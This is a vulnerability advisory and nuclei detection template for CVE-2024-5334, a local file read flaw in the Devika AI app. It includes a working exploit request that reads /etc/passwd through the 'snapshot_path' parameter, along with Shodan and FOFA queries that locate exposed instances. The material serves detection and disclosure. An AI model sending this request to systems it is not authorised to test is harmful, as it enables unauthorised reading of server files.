Devika - Local File Inclusion

highseverity

7.5CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

A local file read vulnerability exists in the stitionai/devika repository, affecting the latest version. The vulnerability is due to improper handling of the 'snapshot_path' parameter in the '/api/get-browser-snapshot' endpoint. An attacker can exploit this vulnerability by crafting a request with a malicious 'snapshot_path' parameter, leading to arbitrary file read from the system. This issue impacts the security of the application by allowing unauthorized access to sensitive files on the server.

Impact

Successful exploitation could lead to unauthorized access to sensitive files and data.

Fix

Ensure input validation is implemented to prevent malicious file inclusions and use whitelists for allowed file paths.

How to confirm it

Send: GET /api/get-browser-snapshot?snapshot_path=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "attachment; filename=passwd" and "application/octet-stream" AND status 200

Run it with nuclei: nuclei -id CVE-2024-5334 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-5334

info:
  name: Devika - Local File Inclusion
  author: nechyo,nukunga,harksu,olfloralo,gy741
  severity: high
  description: |
    A local file read vulnerability exists in the stitionai/devika repository, affecting the latest version. The vulnerability is due to improper handling of the 'snapshot_path' parameter in the '/api/get-browser-snapshot' endpoint. An attacker can exploit this vulnerability by crafting a request with a malicious 'snapshot_path' parameter, leading to arbitrary file read from the system. This issue impacts the security of the application by allowing unauthorized access to sensitive files on the server.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive files and data.
  remediation: |
    Ensure input validation is implemented to prevent malicious file inclusions and use whitelists for allowed file paths.
  reference:
    - https://huntr.com/bounties/7eec128b-1bf5-4922-a95c-551ad3695cf6
    - https://github.com/stitionai/devika/commit/6acce21fb08c3d1123ef05df6a33912bf0ee77c2
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5334
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-5334
    cwe-id: CWE-73
    epss-score: 0.02073
    epss-percentile: 0.81621
  metadata:
    max-request: 1
    shodan-query: title:"Devika AI"
    fofa-query: title="Devika AI"
  tags: cve,cve2024,devika-ai,lfi,vkev,vuln

http:
  - raw:
      - |
        GET /api/get-browser-snapshot?snapshot_path=/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "attachment; filename=passwd"
          - "application/octet-stream"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from